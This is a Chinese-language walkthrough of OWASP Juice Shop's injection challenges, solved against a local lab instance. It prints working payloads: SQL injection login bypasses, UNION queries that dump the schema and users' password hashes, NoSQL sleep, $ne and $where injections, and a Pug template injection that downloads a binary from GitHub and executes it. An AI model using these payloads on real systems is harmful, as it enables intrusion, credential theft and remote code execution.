# Injection篇 ## [前言&安裝&記分板](https://hackmd.io/@numb2too/HkH6PdJdeg) > 基本上都參(照)考(抄)此大佬做的 > https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/4-stars/nosql_manipulation.md 後來發現有官方的[武功秘笈](https://help.owasp-juice.shop/appendix/solutions.html) ## Login Admin ```http= http://localhost:3000/#/login ``` login頁面 Email直接下Sqli payload如下 ```payload= administrator' or 1=1 -- ``` 下面一位~ 也可以透過burpsuite針對 ```http= POST /rest/user/login HTTP/1.1 ``` 去做Repeater 在email測試`'` ```json= { "email":"'", "password":"aa" } ``` 發現回傳500且有sqll error ```sql= SELECT * FROM Users WHERE email = ''' AND password = '4124bc0a9335c27f086f24ba207a4912' AND deletedAt IS NULL ``` 由此回傳可見此欄位存在sql injection 可以開打摟兄弟 隨便點一個products發現疑似admin的Email `admin@juice-sh.op` 所以透過上面的Sql改組一下應該算過關了吧兄弟 ```json= { "email":"admin@juice-sh.op' --", "password":"" } ``` 下面一位~ ## Login Jim && Login Bender 這兩個也都透過上面的repeater改個email就過了 下面一位~ ## Database Schema 透過SQLI找到DB的完整schema 透過剛剛的500回傳 我知道DB是sqlite 然後找找看哪個API可回傳資料 ```http= GET /rest/products/search?q= HTTP/1.1 ``` 抄作業直接告訴我這個API可以回傳 > 但這應該是經驗? > 感覺應該是朝著哪個功能有查詢功能的那邊找 > 就能找到了?! 先開打再說 依樣repeater這個GET發現`q=%27--`報錯了 ```sql= SELECT * FROM Products WHERE ((name LIKE '%'--%' OR description LIKE '%'--%') AND deletedAt IS NULL) ORDER BY name ``` 舒服, 這不就來了嗎兄弟們 payload ```payload= %27%29%29-- ``` 可查到全部的Products 再來組我們要的db schema > https://sqlite.org/schematab.html > 可查Sqlite的語法 payload ```payload= %27%29%29%20and%201%21%3D1%20union%20select%20sql%2Cname%2C1%2C1%2C1%2C1%2C1%2C1%2C1%20from%20sqlite_master%20where%20type%3D%27table%27-- ``` 下面一位~ 其實不用這麼長 我把產品都過濾掉只看Table 簡單一點的話只要有`sqlite_master`就好了 > 用這個可以轉換urlencoder > https://www.urlencoder.org/ ## Christmas Special 要下單個已經下架的產品`Christmas special offer of 2014` 透過上一提可查到全部的Products,發現ID:10 ```json= { "id":10, "name":"Christmas Super-Surprise-Box (2014 Edition)" } ``` 再來找到下單的POST ```http= POST /api/BasketItems/ HTTP/1.1 { "ProductId":1, "BasketId":"2", "quantity":1 } ``` 這不就來了嗎 把ProductId改成10, 送出,下單 下面一位~ > 有些使用者好像沒有address還要新增麻煩 > jim是你的好選擇 ## Ephemeral Accountant 使用(不存在的)會計師 acc0unt4nt@juice-sh.op 登錄,而無需註冊該用戶。 ~~不能用這個email註冊後登入XD 因為腳色要是會計師~~ 透過上面的payload我們找到USERS的Schema ```sql= CREATE TABLE `Users` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(255) DEFAULT '', `email` VARCHAR(255) UNIQUE, `password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `deluxeToken` VARCHAR(255) DEFAULT '', `lastLoginIp` VARCHAR(255) DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg', `totpSecret` VARCHAR(255) DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME ) ``` 透過payload ```payload= '))%20and%201!%3d1%20union%20select%20role%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20from%20users%20-- ``` 找到會計師角色為`accounting` 組一個USER的select注入login的email即可 ```sql= ' union select * from ( select 1 as 'id', 'a' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', 'aa' as 'password', 'accounting' as 'role', '' as 'deluxeToken', '0.0.0.0' as 'lastLoginIp', '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '122222' as 'createdAt', '133333' as 'updatedAt', NULL as 'deletedAt' ) as aa -- ``` 下面一位~ ## NoSQL DoS 讓server睡個覺 大老說這個API可能可以讓她睡覺?! ```http= GET /rest/products/1/reviews HTTP/1.1 ``` > 又是經驗談?? 先打再說 mongodb睡覺指令`sleep(100)`<AI告訴我的 > 這邊要注意 > juice shop本身是使用sqlite > 由於這題目是"模擬"nosql攻擊 > 所以指令才會使用mongodb的sleep指令去模擬達到睡眠的效果 > 實際上如果對Sqlite的服務使用sleep是沒用的 ```http= GET /rest/products/sleep(100)/reviews HTTP/1.1 ``` 打完收工 下面一位~ ## NoSQL Manipulation 一次修改多個產品的評論 先找到修改評論的請求 ```http= PATCH /rest/products/reviews HTTP/1.1` { "id":"CoZvDLfHJmYrgDGjM", "message":"aaabb" } ``` 目標是要**一次修改多筆評論**,所以要讓「id 匹配所有評論」。 使用 MongoDB 的 `$ne`(not equal)運算子 ```json= "id": {"$ne": null} ``` * `$ne` 是 MongoDB 的條件運算子,代表「不等於」。 * `"id": {"$ne": null}` 表示:「id 不為 null」的所有文件(幾乎全部)都會被更新。 > https://onecompiler.com/mongodb > 可線上測試mongo語法 ```json= { "id":{ "$ne":null }, "message":"aaabb" } ``` 打完收工 下面一位~ ## User Credentials 查所有USER的相關資料 用上面那個可查資料的請求 ```http= GET /rest/products/search?q= HTTP/1.1 ``` 找users內的password、email ```payload= '))%20and%201!%3d1%20union%20select%20role%2cpassword%2cemail%2c1%2c1%2c1%2c1%2c1%2c1%20from%20users%20-- ``` 打完收工 下面一位~ ## NoSQL Exfiltration 從 NoSQL DB 檢索所有使用者的訂單資料。 先找到查訂單的請求 ```http= GET /rest/order-history HTTP/1.1 ``` 這好像沒料 再找一個 ```http= GET /rest/track-order/ad9b-9c39c9d16008c53f HTTP/1.1 ``` 這好像有搞頭 來會會這個ID`ad9b-9c39c9d16008c53f` 改成`''` 發現回傳`Unexpected string` 因此大佬推測後端程式有可能是 ```js!= { $where: "property === '" + payload + "'" } ``` > https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/5-stars/nosql_exflitration.md > 大佬來源 那就開打吧 ```payload= '%20%7c%7c%20true%20%7c%7c%20' ``` 收工 下面一位~ ## SSTi 把病毒上傳到server上並執行 病毒在這 ```= https://github.com/juice-shop/juicy-malware ``` 或也可從這找到 ```= 127.0.0.1:3000/#/ftp/quarantine ``` > https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/6-stars/ssti.md > 大佬提供的線索 從`https://github.com/juice-shop/juice-shop` 我們可發現`Pug: 0.4%` Juice Shop GitHub 原始碼中顯示:**Profile(個人頁)使用 Pug 模板語言**(以前叫 Jade) ![image](https://hackmd.io/_uploads/B1RcksJdxl.png) Pug 的語法會將 `#{}` 中的內容執行,像: ```pug p Hello #{user.username} ``` 測試是否存在 SSTi 在個人設定頁(Profile),將使用者名稱改為 `#{1+1}`。 結果會顯示「2」,表示程式碼真的有執行,**確定存在 SSTi 漏洞**! 注入惡意 Payload 因為 Juice Shop 是 Node.js 寫的,所以可以透過 Node.js 的方式呼叫系統指令(與 `child_process` 模組): ```pug #{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_amd_64?raw=true && chmod +x malware && ./malware')} ``` payload: 利用 Node.js 的 `child_process.exec()` 執行 shell 指令 下載並執行惡意程式 打完收工 ![image](https://hackmd.io/_uploads/SyyUgiJuxx.png) 那就先告一段落搂XD > 基本上都參(照)考(抄)此大佬做的 > https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/4-stars/nosql_manipulation.md 話說為什麼有時重啟juice-shop `npm start` 之前打成功的紀錄會不見QQ 雖然會比較重要,但有時候記錄看了也很爽捏QQ 歸零了很難過QQ ~~injection全部重打了三次~~ ~~原來是重啟server會問你要不要清除過關的cookie 我都很順手清除QQ 在打第四次~~